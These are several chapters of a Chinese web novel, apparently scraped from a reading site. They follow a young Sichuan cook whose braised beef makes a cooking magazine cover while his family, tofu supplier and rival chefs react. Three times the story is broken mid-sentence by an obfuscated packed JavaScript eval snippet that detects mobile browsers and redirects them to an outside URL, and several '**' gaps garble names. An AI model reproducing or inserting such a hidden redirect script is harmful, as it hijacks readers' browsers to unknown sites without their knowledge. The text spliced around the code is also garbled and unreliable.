周砚又把那信封取了出来，一边拆一边道：“对了，何主编还把咱们的合影洗出来了，也一并拿给了我。” 信封拆开，倒出来三张照片。 两张合影，还有一张是周砚站在饭店门口的单人照片，就是印在杂志里那张，不过这张是彩色的。 赵嬢嬢先拿起合影，一家四口站在一起，脸上都洋溢着笑容。 “拍的真好，这可是咱们家第一张合影呢。”赵嬢嬢一脸满意道。 老周同志也是笑着说道：“回头我去供销社买两个相框把他们装到相框里头，这样就不会弄脏了。” 赵嬢嬢又拿起周砚那张单人照，脸上笑容愈发灿烂：“何主编也是有心了，还给你洗了一张单人照，这张照片好啊，回头要是有人介绍对象，先让女方看看照片，倒是省了不少功夫。” “女方要是看了照片，怕是高低都要来看一眼**。”老周同志说道。 “那是，我生的儿子，长得就是这么帅气。”赵嬢嬢有些得意，想了想，又看着周砚问道：“你下回给夏瑶写信，要不给她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200286|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寄张照片？” “寄照片干啥？！”周砚连连摇头，上回周沫沫给夏瑶画的他，他都觉得有点尴尬，寄照片就更离谱了。 “那你给她寄一本杂志呗，好不容易上一回，别人不送就算了，夏瑶肯定得送一本。”赵嬢嬢一脸认真地给他分析：“咱们王婆卖瓜自卖自夸不太好，但现在人家夸了，说的都是大实话，得给女同志展示自己优秀的一面。” “妈，你就别瞎操心了。”周砚笑着把照片收回信封，“老汉，相框明天我去买，我先去洗澡了，明天又要忙了。” “要得。”老周同志点头。 “回头记得买一本给夏瑶寄过去啊，这本我收藏了。”赵嬢嬢冲着周砚的背影说道。 “好~”周砚应了一声。 赵嬢嬢把老周同志拉着坐下，把杂志往前翻了一页道：“你再给我念一遍，一个字一个字教我念，我回头才晓得怎么给他们讲，又不显得我没文化。” “来嘛。”老周同志笑着指着标题道：“震惊……” “震惊！”吃完鸡蛋饼的周沫沫也凑了过来，跟着奶声奶气念道。 一本《四川烹饪》杂志，给老周家带来了不少喜悦和笑容。 周砚拿了衣服去后院洗澡，脑子里已经在考虑明天怎么跟老太太说采访的事，也不知道老太太会不会答应。 …… 与此同时，苏稽镇上的一处平房里，肖磊正在泡脚。 冒着腾腾热气的木桶里放着两双脚，坐在他对面，身材微胖的中年女人是他的婆娘马冬梅，此刻瞪着眼睛，嘴巴微张，惊讶道：“你是说，周砚上了你师叔都还没有上的《四川烹饪》杂志，做的菜还登上了杂志封面？” 肖磊点头道：“是，今天那杂志社的副主编何志远把杂志拿了一本给周砚，说是蓉城已经发售了，嘉州的报刊亭明天应该也能买得到。 周砚做的跷脚牛肉味道确实好，这是他们周村的传统美食，正宗做法一度消失，是他把传承接上，才被何志远专访。” 马冬梅一脸高兴，“这是好事啊！这娃娃之前是因为你跟王德发起冲突才被开除，现在饭店开的红红火火，又得了杂志专访，日子越过越好了。” “是，年纪轻轻就被专访，又上封面，将来成就肯定远在我之上。”肖磊也满是欣慰的点头，“他刀工练了两年多也就一般水准，没想到在火候和调味上天赋那么高，我之前有些耽误他了。” “刀工是基本功，怎么能说耽误呢。”马冬梅看着他笑吟吟问道，“你跟我说这个，是不是想喊我明天去苏稽帮你买几本最新一期的《四川烹饪》杂志？” “梅梅，英明啊。”肖磊一脸钦佩地握住了她的手。 “魔法披风。”马冬梅白了他一眼，“你就说好多钱一本？你打算买几本？” “我看了定价的，五角，你就给我买个……”肖磊犹豫了一下，伸出了两根手指：“两本嘛。” “要得。”马冬梅点头，明天早上我就坐公交上嘉州给你买。 “梅梅，你太好了！” “周砚是你徒弟，也喊我一声师娘的嘛，这娃娃有孝心，也有担当，他有出息，我一样高兴噻。” “那是。” “到时候你给我留一本，我出去打麻将的时候带出去给那些麻友们开开眼，好让他们晓得我们有个这么有本事的徒弟。” “要得！” …… 晚点会有第二更~求月票！ (本章完) 第167章 卤味大师！ 【叮！进入孔庆峰的记忆碎片任务完成！】 【获得奖励：刀工熟练度+10086！】 周砚刚躺下，眼底弹出一道提示。 周砚眼睛一亮，还真有奖励啊！ 而且给的还是刀工熟练度。 加点啊！ 他扫了一眼面板，刀工一栏： 【刀工（高级）：16686/100000】 熟练度大幅提升，已经和尚处于中级的调味、火候拉开显著差距。 周砚闭上眼，脑子里快速闪回孔庆峰磨练刀工时的各种画面。 再度睁开眼睛时，似乎有所明悟。 这种感觉难以言说，可能需要实际上手切菜的时候才能感觉出来。 其实刀工上了高级之后，已经足以应对绝大多数的场合和菜品。 再往上就是细节上的细微差距。 以及一些对食材处理有着较高要求的食材，才能体现出来顶尖刀工的差异。 今天这一趟，对周砚而言，可谓受益良多。 对于授徒一事他本一知半解，小周的记忆还停留在练习刀功的学徒阶段，切不完的土豆和萝卜。 周立辉来饭店当了一个多月的火头工，他还没找到如何教他学厨的门道。 历经孔庆峰的记忆碎片，让他看到了孔派传承的完整闭环。 从刀工、刀法练起，再教弟子如何挑选食材，怎么从简单菜式学起，一步步成长为一名合格的厨师，最终出师。 这才是真正的孔派传承，而不只是几道孔派名菜。 这对于周砚而言，甚至比那10086点熟练度更为珍贵。 随着饭店生意越发忙碌，培养徒弟也是需要提上议程了。 …… 第二天天蒙蒙亮，小周同志和老周同志便出门去买菜了。 回周村买牛肉，周砚挑好了肉让老周同志等着切分，自己则是骑着车回了一趟老宅。 天还没全亮，但院子里已经亮着昏黄的灯光。 “咕咕咕——！” 老太太的声音从院子里传出来，听着应该是在喂鸡。 周砚上前敲门，喊道：“奶奶！” “哪个？” “我，周砚！” 院门打开，老太太手里拿个勺，看着站门口的周砚笑问道：“周砚，这么早过来有啥子事？” “奶奶，上回找你借青花瓷盆你还记得不？”周砚笑着说道。 “你妈说借去拍照片嘛，说你要上啥子杂志，啷个？又要借盆？”老太太看着他问道。 “这回不借盆，我来请你接受《四川烹饪》杂志副主编的采访，讲讲你当年在苏稽桥头卖卤味的事迹。”周砚笑着说道：“让你上杂志，专业的烹饪杂志，让全国人民都晓得你张淑芬的卤味做得好。” 老太太闻言摆了摆手：“做卤味有啥子好讲的，还上杂志，说出去让人笑话。” “你做卤味可以讲的门道可多着呢，讲讲你是如何从外祖祖手里将这门手艺继承并发扬光大，讲讲你当年是怎么靠一个小摊摊把张记卤味卖成嘉州人的美味记忆，讲讲你怎么靠着一个卤味摊子拉扯大五个儿子，讲讲你是怎么把这门手艺交给我再传承下去的。”周砚一脸认真地看着老太太：“奶奶，没有人会笑话的。” 老太太看着他沉默了一会，开口问道：“你这是啥子歪门杂志？摆龙门阵都能上？” 周砚：？ “奶奶，《四川烹饪》杂志是专业的烹饪杂志，省蔬菜饮食服务公司主办的，正经杂志，好多专业厨师想上都上不到。”周砚绷不住笑了，认真给老太太解释，从自行车篮的布包里取出杂志：“你看，这封面就是上回找你借的青花瓷盆，装的跷脚牛肉拍的照片。” 老太太拿着杂志凑到灯下，眯起眼睛看了一会，点了点头：“嗯，拍的好，有点水平。” 周砚又把杂志翻开介绍道：“你看，这两页就是讲我做的跷脚牛肉的，上一篇文章是介绍荣乐园的特级厨师华大师，后边这篇是特级厨师徐大师讲几种面哨子的制作方法。” “你这跷脚牛肉对汤锅的改良做的确实不错，其他菜炒的也好，称得上一句专业厨师的评价，将来未必比那两个特级厨师差。”老太太抬头看着他，笑着道：“但你觉得我一个大字不识几个的农村老太太，和这些大师放一起，合适吗？” “合适！太合适了！”周砚把杂志合上，看着老太太道：“奶奶，你可不只是农村老太太，你是卤味大师，张记卤味创始人，老周家话事人，厨坛新星周砚的卤味领路人，一等功臣的夫人，一等功臣的母亲——张淑芬同志！” 老太太看着他愣了一下，眼角泛起了微光。 “奶奶，你做了半辈子卤味，把张记卤味做成了一代苏稽人的美味记忆，当得起‘大师’两个字。”周砚神情认真道：“我觉得你见证了那动荡的半个世纪，一锅卤味贯穿其中，我觉得很值得记录下来。” 老太太沉默良久，点了点头：“要得，听你的。” 周砚脸上露出了笑容：“那我们就说好了哈，今天中午店里忙完了，我带何主编来家里采访。” 载着牛肉回到石板桥头，周砚把自行车停在章老三的肉摊前，扫了一眼今天的猪头和肉品质都没问题，让老周同志负责称重和装车，自己则是往来福的豆腐摊走去。 今天逢场，摆摊的人格外多，有背着自家土鸡蛋、鸡、鸭、鹅来卖钱的，也有挑着自己做的簸箕、木铲、扫把等手工制品的，最多的还是卖菜的。 赶场买东西的人也多，摩肩擦踵，到处都是叫卖和砍价的声音。 “这簸箕八角钱一个！不得讲价。” “四角！” “哪有对半砍的哦，太低了，我一晚上才做一个。” “三角。” “算了算了，四角卖你，我买两块豆腐回去烧肉吃。” 周砚买了两把鲜嫩的小青菜，远远的便瞧见豆腐摊被围着。 来福脸上带着笑容在给客人称豆腐，秤杆一如既往高高的，生意倒是相当红火。 周砚走到跟前，一个嬢嬢手里提着一块豆腐，正在付钱，嘴里嘟囔着：“你下回多做点嘛，我本来打算多买两块，煎了给我幺女送去，你这豆腐比别家好。” “他听不见。”周砚笑着提醒道。 “我晓得，我就是爱念两句。”嬢嬢笑着把钱递给来福，看着周砚推荐道：“这娃娃实诚得很，每次秤都是给多的，豆腐做的也好吃，不过今天卖完了，你要买下回还得早点。” “要得。”周砚笑着点头。 小桌上，两板豆腐已经卖完了，几个客人过来看了一眼，有些失望地走了。 来福看着周砚笑得一脸开心，笑容依旧干净。 他把一个用纱布盖好的篮子向周砚递过来，另外还有一大把捆好的腐竹。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200287|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周砚伸手接过，看了眼他满是血泡的双手，篮子里装的是豆干，沉甸甸的，那一大把腐竹少说也有十来斤。 篮子上边有张纸条，写着：豆腐干——10斤，腐竹——16斤，共：16.8元。 周砚把篮子放下，拿起一旁的秤把腐竹复秤，16斤6两。 再称豆干，10斤7两。 他就知道，来福这家伙实心眼，最爱反向抹零。 周砚摸了十七块五递给他，掏出纸笔写道：“下回秤再不准，我可不买了。” 来福接过钱，有些尴尬的挠了挠头。 周砚又写了一句：“腐竹产量涨了不少，挺好的。” 来福接过纸笔，写道：“我帮着做了一些。” 周砚写道：“奶奶的眼睛和腿还好吗？” 来福脸上露出了笑容，写道：“眼睛好了一些，腿还是那样。” 周砚也笑了，看来姨婆最近的心情应该不错，“你最近做得很好，回头我去看她。” 收起纸笔，周砚提着东西转身离开。 来福现在一天只卖两板二十斤豆腐，这才六点不到就卖完了。 周砚估摸着就算背四板四十斤过来，他也能卖的完。 但周砚没跟他提这茬。 来福太瘦了，那瘦弱的身体，要背二十斤豆腐，再提十斤豆腐干和十六斤腐竹一路走到镇上，其中艰辛可想而知。 周砚算了一下，腐竹的产能已经达到8斤，豆腐干他一天要十斤，每天光是他这里就能卖到十块四角。 利润能有一半以上，也就是五块二左右。 两板豆腐再挣两块。 他们祖孙俩现在一天的收入能到七块多。 一个月近两百块。 这收入已经远超纺织厂的普通员工。 当然，纯手工磨豆腐、做腐竹、烘豆干，周砚都不用亲眼去看，完全能够想象有多操劳，定然是一天到晚都在忙。 不过累一点，总比看不到希望强。 姨婆看病是要钱的，这钱得来福用自己的双手去挣。 “周砚，你老汉儿说你上杂志封面了啊？你这娃娃硬是有出息哦！”章老三看着走来的周砚赞叹道，眼里满是对别人家孩子的羡慕。 周砚看了眼旁边嘴角上扬的老周同志，笑着点头：“是，最新一期的《四川烹饪》杂志，章叔回头可以订一本看看。” “要得。”章老三点头，看他手里提的一大捆腐竹，又道：“那么多腐竹啊？我听说这东西做起来很麻烦的嘛，又不压秤。” “是，店里卤素菜用的多，做起来是麻烦。”周砚点头。 “这娃娃硬是懂事，昨天来我这里买了块板油和五花肉，我给他算的八角钱一斤。今天早上来，他给我提了两块豆腐，说啥子都不要我的钱。”章老三一脸感慨道：“他虽然不会说，但心里跟明镜一样。” “多谢章叔照顾他。”周砚说道。 章老三拍着胸脯道：“谢啥子，你放心，我在这里看着，要是有人敢欺负他，我肯定帮他撑腰。” “要得。”周砚和老周同志骑着车回去，心头暖暖的，都是很好的人呢。 早上依旧忙碌。 营业结束。 周砚从厨房出来，才注意到眼角弹出的消息： 【支线任务：西坝豆腐传承守卫战！进度：50%】 求月票！ (本章完) 第168章 她的过分可爱让厨房熠熠生辉（6k二 周砚精神一振，任务过半了！ 麻婆豆腐正向他招手呢。 周砚嘴角忍不住上扬，这进度条对应的是孙丽华女士的心情。 看来今天的收入，让姨婆挺满意，极大的提升了她对来福传承手艺的信心。 挺好。 这个任务，大概是他最近最有动力推进和努力想要去完成的。 他准备明天再去探望一下孙姨婆，如果她的眼睛和腿的情况还是不好的话，就带她去看看。 作为目前饭店的重要食材供应商，她的健康情况周砚非常关切。 在苏稽范围内，周砚找不到可以替代的供应商。 最近卤素菜中，卤腐竹和卤豆干已经成了明星产品，比海带更受欢迎。 腐竹泡一泡，一把一把切段就行，特别方便。 利润也相当可观，这钱赚的舒坦。 如果后期饭店推出麻婆豆腐，这供应链的重要性还会直线上升。 豆腐太脆弱了，以现在的道路情况，苏稽以外的嫩豆腐不管做的多好，运输途中都得抖散。 姨婆做的完美西坝豆腐，稀缺性立马就凸显了。 “妈妈，你煎的鸡蛋饼也太香了吧！感觉越来越好吃呢！” “香香的！甜甜的！好吃~~” “幺女真乖，好吃老娘再给你煎一个哈。” “好！我最喜欢妈妈了！” 厨房里，传来了周沫沫欢快的声音，和赵嬢嬢爽朗得意的笑声。 小家伙今天起得晚，饭店早上营业结束才起的床。 起来点餐，要吃鸡蛋饼。 周砚本打算给她做的，赵嬢嬢抢着要做，他也拦不住啊。 虽然厨房是他掌管的。 但这个家归赵嬢嬢管啊。 周砚靠在厨房门口，看着周沫沫坐在自己专属的小木凳上，刚被搓洗过的脸蛋红扑扑的，还没来得及梳头，头顶翘着两根呆**，像立着两个问号。 她面前板凳上放着一个盘子，装着切成四瓣的鸡蛋饼，煎的金黄金黄的，略微厚了一点，但看着还是有模有样的。 周沫沫双手捧着一块鸡蛋饼，小口小口咬着，腮帮子鼓鼓的，看着就像个贪吃的小松鼠。 看得出来今天的鸡蛋饼味道不错，小家伙的眼睛都眯起来了，两条小短腿晃啊晃的，头顶的两根呆**也跟着晃，早上的阳光从厨房的窗户照了进来，落在了她的身上。 她的过分可爱让整个厨房都熠熠生辉。 “哎哟，吃的好香哦。乖乖，你啷个这么漂亮呢？”赵嬢嬢给鸡蛋饼翻了个面，回头看着周沫沫，笑眯眯的眼睛里满是宠溺，语调都夹了几分。 周沫沫昂着头，笑眯眯地说：“因为我有全天下最漂亮、最能干的妈妈，所以我也是最漂亮的宝宝。” 赵嬢嬢脸上的笑容愈发灿烂：“说的太好了，这个鸡蛋饼也给你哈。” “好香哦，给我也摊一个嘛，我也有点饿了。”老周同志端着处理好的猪头进厨房，看着锅里金黄的鸡蛋饼，吞了吞口水：“这个就挺好。” “爬！这个是给我乖乖滴。”赵嬢嬢晃了晃锅，用锅铲把鸡蛋饼切成了四块，盛到了周沫沫面前的盘子里。 “谢谢妈妈~我会把这美味的鸡蛋饼，全部全部吃掉！”周沫沫两眼发光地看着她。 “乖。”赵嬢嬢笑着点头，看了眼同样笑吟吟的老周同志道：“现在给你摊一个，你要吃厚一点？” “厚点薄点都可以，只要你摊的我都爱吃。”老周同志憨笑着说道。 “周砚，你要吃不？”赵嬢嬢回头看着周砚问道。 “我就不吃了，我好饱。”周砚笑着摇头。 “锅锅，你尝尝嘛，甜甜的！”周沫沫拿着一块鸡蛋饼凑了过来，举起手，踮着脚尖，递向她，眼里满是期待，“真的，妈妈做的鸡蛋饼，超好吃哦！” “那我必须尝一尝咯。”周砚笑着伸手接过，尝了一口，松软香甜，带着浓浓的鸡蛋香味，味道确实不错，点着头道：“嗯！好吃！比我做的还要好吃不少呢！” “那我再分你一块？”周沫沫大方道。 “不用不用，沫沫吃吧，我吃了早饭的。”周砚笑着摇头，看着嘴角上扬的赵嬢嬢道：“妈，你放了糖啊？” 赵铁英点头：“对，没有加盐巴，加了一勺糖，我猜他们蛋烘糕是不是也这样做的，味道怎么样嘛。” “好吃，又香又甜，非常有灵性的调料更换，是另一种感觉了。”周砚竖起大拇指。 “闻着好香哦，沫沫吃的更香，我都看饿了，四嬢，我也想吃一个。”赵红站在厨房门口，笑盈盈地说道。 “要得，给你也煎一个。”赵嬢嬢笑着应道，手一颠，给锅里的饼翻了个面。 周砚看着这一幕，眉梢微挑，不愧是铁娘子，昨天在旁边看了一会，今天连颠锅都学会了。 老周同志被迷得五迷三道不是没道理的。 老周同志拿盘子装着饼，搬了个小板凳在周沫沫旁边坐着吃，咬了一口，连连点头：“好吃！又香又软，比外面卖的蛋烘糕还安逸。” “会说就多说点，明天早上我又给你们做。”赵嬢嬢笑眯眯道。 等赵嬢嬢摊完饼，周砚就开始忙着卤肉。 赵嬢嬢和赵红削土豆和藕，老周同志负责切，周沫沫搬着她的小板凳，负责在旁边提供情绪价值。 “嫂嫂，你这根土豆皮削的好长好长啊，可以拿来当绳子吗？” “妈妈，你看这个土豆好圆啊，金灿灿的，就像太阳公公~~” “爸爸，你切的藕为什么那么多洞洞呢？土豆就没有呢。” “锅锅，好香啊~~我想吃肉肉！一小块，一小块就可以了。” 周砚刚把卤猪头肉从锅里捞出来，看着眼巴巴望着他的小家伙，笑着拿刀给她切了两片热卤猪头肉放小碟子里。 “谢谢锅锅~~你可真是一个大好人呢。”周沫沫端着盘子开心地回到自己的小板凳上，继续指导工作。 她小小的，但可会夸人了，情绪价值给的满满的。 厨房里充满了欢声笑语，让原本枯燥的工作似乎也变得轻松愉悦了许多。 …… 飞燕酒楼后厨。 **才走进后厨，背在身后的手里拿着一本新杂志。 “李大爷。” “师爷。” 厨房里，正忙着备菜的墩子和厨师看到他，纷纷恭敬打招呼。 正在一旁教徒弟炸葱油的李老三闻声回头，看到**才后，脸上立马堆起了笑容走了过来，“师父，你今天啷个来了呢？” “三天没来，今天路过，转进来看看噻。”**才看着他问道：“最近自个还下厨没有？厨艺生疏了没得？” “下！那肯定天天都下厨噻！”李老三点头如捣蒜，有点紧张的看着**才，“师父，我不光下厨，我还天天教徒弟，可勤快了。” **才的目光往他身后的徒孙身上一扫，一众徒孙立马扭头忙碌起来，这个擦案板，那个擦菜刀，还有人忙着择菜。 “那你的徒弟啥时候上《四川烹饪》杂志啊？”**才看着他问道。 “啊？”李老三愣住，嗫嗫道：“师父，你还没上呢，怎么轮得到我啊。” **才脸一黑，沉声道：“你今天进厨房先迈的哪条腿？” 李老三犹豫着道：“左……左腿？” “啪！”一本杂志拍在了他的脑袋上，“跟你说了多少遍了，进厨房要先迈右腿！” 李老三：？ 不是，师父真教过吗？ 可他能怎么办呢，最终解释权归师父所有啊。 别人喊李大爷是表示尊重，他喊李大爷，那是因为这真是他亲大爷啊。 “晓得了，下次一定先迈右腿。”李老三委屈巴巴道，心头有点猜想，多半是昨天去参加孔二爷的交流会被刺激到了。 他们老李家跟孔派怎么比啊？ 当年孔派三杰，在嘉州可是赫赫有名，在川菜界都是有名号的。 如今三杰只剩孔庆峰孔二爷一人，但二代弟子中，方逸飞、宋博名声渐显，许运良也成一级厨师了，就连天赋最差的肖磊，也是二级厨师。 他们老李家……也就他这个一级厨师拿得出手，还有两个二级厨师的师弟，水平和肖磊相比都有一定差距。 “师父，咱们当厨师的，还是不能太在意名气，这话当年还是您老人家跟我说的呢。”李老三温声宽慰道。 “肖磊的徒弟上了最新一期的《四川烹饪》杂志专访，他做的跷脚牛肉还上了封面。”**才翻转手里的杂志，将封面页怼在了李老三的眼前。 “啥子耶？！”李老三的声音骤然拔高了，甚至拉出了啸声。 厨房里也是突然安静下来，众人纷纷惊讶回头。 厨房外，一下探出了三个脑袋。 黄鹤、赵淑兰和**三脸懵逼： “啥子？” “哪个？” “周砚？！” **从苏稽骑车回来，洗了澡换了衣服，跟着妈、老汉来酒楼玩。 前后脚跟着李大爷进门，正准备来打个招呼，便听到了如此劲**裂的消息。 李大爷是他们飞燕酒楼的上一代后厨扛把子，前年退休后，由他的徒弟李老三**。 黄鹤上前，先跟**才打了个招呼，从他手里接过杂志，看着精美的杂志封面，那青花瓷盆里装着的，清汤牛肉，不正是周砚做的的跷脚牛肉吗？！ “是跷脚牛肉！一点都没错。”**非常笃定的点头，黄兵太爱跷脚牛肉了，每天必点一份，有时候还会点两份，她已经有点吃够了，隔天才会吃。 作为酒楼经营者，黄鹤可太懂《四川烹饪》杂志的含金量了，他前段时间还在上边找卤味大师呢。 能上这杂志的厨师，水平都是极高的，一般年纪都不小，多是一方名厨。 他听说乐明饭店的孔二爷要上杂志，这两天都没睡安稳，生怕乐明饭店把风头给抢了，对他们飞燕酒楼的生意造成一些影响。 谁能想到，孔二爷还没上，徒孙辈的周砚先上了？ 黄鹤翻到周砚专访那两页，心情那叫一个五味杂陈，这年轻太厉害了，怎么就没能把他请到飞燕酒楼来上班呢！ 不然他肯定把这本杂志封面放大十倍，直接立个牌子在酒楼门口，大肆宣传。 “周砚拍出来还是好帅哦！”**探过脑袋先看向照片，眼睛一亮，又好奇问道：“老汉儿，周砚是不是要出名了？” 黄鹤点头：“那肯定噻，二十岁上《四川烹饪》杂志，做的菜还上了封面，年少成名，再过些年，肯定就是嘉州名厨了！” “这在厨师界，就叫天才。”赵淑兰也是一脸感慨道。 一旁的**才脸更黑了，一脸恨铁不成钢的看着李老三。 李老三一脸无辜的摊手，嗫嗫道：“师父，年少成名是有条件的，我都成老油条了，这种机会还是让给年轻人。” 说着，他的目光转向了自己的一众徒弟。 徒弟们立马又忙碌起来，擦锅、擦灶、擦边。 “你，过来！”李老三的目光看向了年纪最小的徒弟。 刚满十八岁的小徒弟一脸忐忑的走过来，小声道：“师父，师爷。” “你，两年后也去上《四川烹饪》杂志，给我们李派争光。”李老三说道。 小徒弟：“我？” “对，就你了”李老三拍了拍他的肩膀以示鼓励，这锅他也背不动啊。 伴着一阵突突声，黄兵的摩托车停在后厨门外，黄兵提着两篮卤肉进门来，看到**才还热情的打了个招呼：“老大爷，你也过来耍啊？” 不过他很快感受到后厨的气氛有点不太对劲，众人的表情有点说不出来的古怪。 说压抑吧，偏偏**满脸笑意。 只要这丫头能笑得出来，一般都没啥大事。 “这是干啥呢？开会啊？”黄兵也龇着大牙跟着傻乐。 “啪！” 黄鹤手里捏着的杂志顺手就拍了下去。 “老汉儿？你干啥？”黄兵有点懵。 黄鹤也没想到那么顺手，打都打了，没好气道：“你李大爷说了，进厨房要先迈右腿，我刚刚看你先迈的左腿。” 黄兵有点懵，看向一旁的**：“啥时候定的规矩啊？今天吗？” **掩嘴笑：“可能吧。” **才把杂志从黄鹤手里拿回来，看着李老三和一众徒弟、徒孙道：“勤学苦练，不断钻研，熟能生巧。天赋不如人没得事，但要是天赋不如人，还没得别人勤快，那问题就大了。勤行，勤字当先，没得捷径的。” 众人都不忙了，看着**才若有所思的点头。 黄兵把卤肉让在案板上， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你懂个锤子！为了拍出来美观漂亮，换个盘子不是很正常的操作吗。”**给他翻了个白眼，“你看看这汤色，这牛肉，这毛肚，和你天天在店里吃的一样好吗！” “嘿嘿，我最喜欢吃的就是跷脚牛肉了，我会不晓得吗。”黄兵咧嘴笑，“可见不是我一个人喜欢砚哥做的跷脚牛肉，该他出名！” **在旁边的长椅上坐下，已经迫不及待翻开杂志看了起来。 黄兵见此，也跟着坐下，随意翻看着，很快笑不出来了，惊讶道：“这……怎么都是特级厨师，各地名厨大师、还有在国外做菜的大师啊？” “这更说明这本杂志的含金量。”**眼里亮着光：“周砚从菜谱残页上把跷脚牛肉复刻出来，并且进行了改进，历经无数次失败，精益求精，熬出这样一锅汤鲜味美的跷脚牛肉。” “这种能力和精神，当得起厨坛新星的称号。” “我有种强烈的预感，周砚将来一定会成为顶级川菜大师！” 黄兵合上杂志，挺直了腰杆：“你看我怎么样？” **看了他一眼，“你有机会成为一名合格的墩子。” “靠北！” …… “才一个月不到，你就又来了，周砚的厨艺就真有那么大的魅力？”黄琛看着和他并排而骑的何志远，笑容中带着几分揶揄：“当初是谁说苏稽是美食荒漠的？” “周砚做的菜确实不错，但相比于他的菜，我觉得他这个人的魅力更大，他总能给我带来一些惊喜，还会给我在创作上提供有用的建议。”何志远笑着道：“我收回之前的话，苏稽还是有美食的，之前是我狭隘了。” “你这个嗷卵犟还有收回话的时候啊？”黄琛大感意外，看着他道：“这回来，打算采访他啥子？卤肉？我跟你说，他最近推出的卤素菜巴适得很，我家娃娃都很喜欢吃，特别是卤腐竹，那味道简直不摆了，比肉都香。” “还有卤素菜啊？”黄琛有些意外，“是采访卤味，不过不是采访周砚，是她奶奶张淑芬同志。” “张老太？”黄琛愣了一下，深以为然的点头：“那你就采访对了，周砚的手艺都是从张老太那里学的，张老太做的卤肉味道那叫一绝，我经常听一些老同志说当年张记卤味在桥头摆摊的盛况，和现在的周二娃饭店排队的情况有过之而无不及。 当然，张老太的传奇不限于这一锅卤味，他的丈夫……” 两辆自行车并排而行，黄琛不急不缓地讲着关于张老太的传奇经历。 小李坐在后排，手在包里摸了几回笔记本，都因为路面太颠簸放弃了，脑子里疯狂运转。 死脑子，快记！ 按照工作手册要求，作为速记员，必须要把这类旁人对于当事人事迹的补充全部记录下来。 可**长为什么在车上聊呢？ 有没有考虑过他的感受啊？ 牛马就不当人吗？ 这破班，是一天都不想上了！ “太好了，这些都是非常宝贵的补充信息啊。”何志远赞叹道。 小李一个激灵，眯起眼睛，更认真的听了。 “老黄，今天我请客，你想吃啥尽管点，回去的时候再给娃娃带一份卤素菜。”何志远看着黄琛笑道：“不过你这辆二八大杠下午要借我用半天，我和小李要去一趟周村，实地探访和采访张老太。” “你用嘛，下午我开会也不用车。”黄琛笑着点头。 两人一路闲聊，到纺织厂门口的时候，纺织厂工人们已经下了午班，在周二娃饭店门口排起了三排长队，每一支队伍都有七八个人。 “这些都是打包卤素菜的客人，不少都是怕晚上来晚了买不到想吃的。”黄琛笑着介绍道，回头一看，何志远已经取出相机，对准了排队的人群按下快门。 放下相机，何志远笑着道：“排队的工人，切肉的中年男人，桌上满满当当的卤肉和卤素菜，还有背后热气腾腾的跷脚牛肉大锅，多有烟火气的画面啊。” “走嘛。”把车停好，何志远当先向着卤味摊走去，“我今天就要尝尝这卤素菜到底有多好吃，能让这么多客人排起长队买，当年苏稽桥头的盛况看不到，今天在这里回顾也是一样的。” —— PS：二合一，晚上还会加更！ 沫沫星星眼：锅锅，求求了！来一张月票吧~ (本章完) 第169章 是三位大师联手奏响的乐章(月票加更 何志远走到队伍前边，看着那摆成两排的十个搪瓷盆，前排是五香的，后排裹满红油和芝麻的显然是辣的。 藕、土豆、豆干、腐竹、海带。 小桌板上还立着一块醒目的长条牌子，写明了各种卤素菜的价格。 藕和土豆是最便宜的，只要四角一斤。 豆干六角，腐竹和海带八角。 这价格，还挺实惠的！ 在何志远的印象中，周砚这饭店的菜品价格直逼蓉城的大饭店。 当然，味道比起蓉城的大饭店也一点不差。 在蓉城，卤藕和土豆的价格倒是差不多，卤豆干能卖到八**，卤腐竹得上一块了。 当然，卤素菜也不是谁都能卖得好的。 价格贵又难吃，客人可不买单，不如添两角自己去割点肉回家炒着吃。 “蜀黍再见，下次又来哦。” “姐姐你今天好漂酿啊，发夹好好看。” “嬢嬢，你有啥子高兴的事情吗？笑得好开心哦。” 何志远这才注意到卤肉摊旁边的小板凳上坐着一个小家伙，热情的和前排客人唠嗑，声音软萌软萌的，主打一个雨露均沾，谁都能分到一句半句的。 客人们或点头，或笑着应一声，每个人的脸上都洋溢着笑容。 “不是，这也太可爱了吧！”小李跟在何志远身后，眼睛都亮了。 小家伙不光长得可爱，说话也是奶声奶气的，还会帮忙吆喝，实在是太乖了。 小李现在不光羡慕周砚长得帅，做菜好吃了，还羡慕他有个超可爱的妹妹！ 还能和爸妈一起开饭店挣钱，一家人在一起。 这家伙的人生太好过了啊。 不像他，纯纯社会的小老鼠…… 哭。 “相鸡！”周沫沫抬头看到了何志远，眼睛一亮，“伯伯！你又来了！” “对呀，我又来了。”何志远点头，脸上已经露出了笑容，连声音都不自觉地夹了几分。 周沫沫看着她满眼期待地问道：“你上次让相鸡给我画的画呢？画好了吗？” 何志远的笑容顿时一僵，露出了几分尴尬之色，上回他给小家伙单独拍了一张，但后来回去洗的时候发现画面是模糊的，等于是拍了张废片。 没想到小家伙还记得这事。 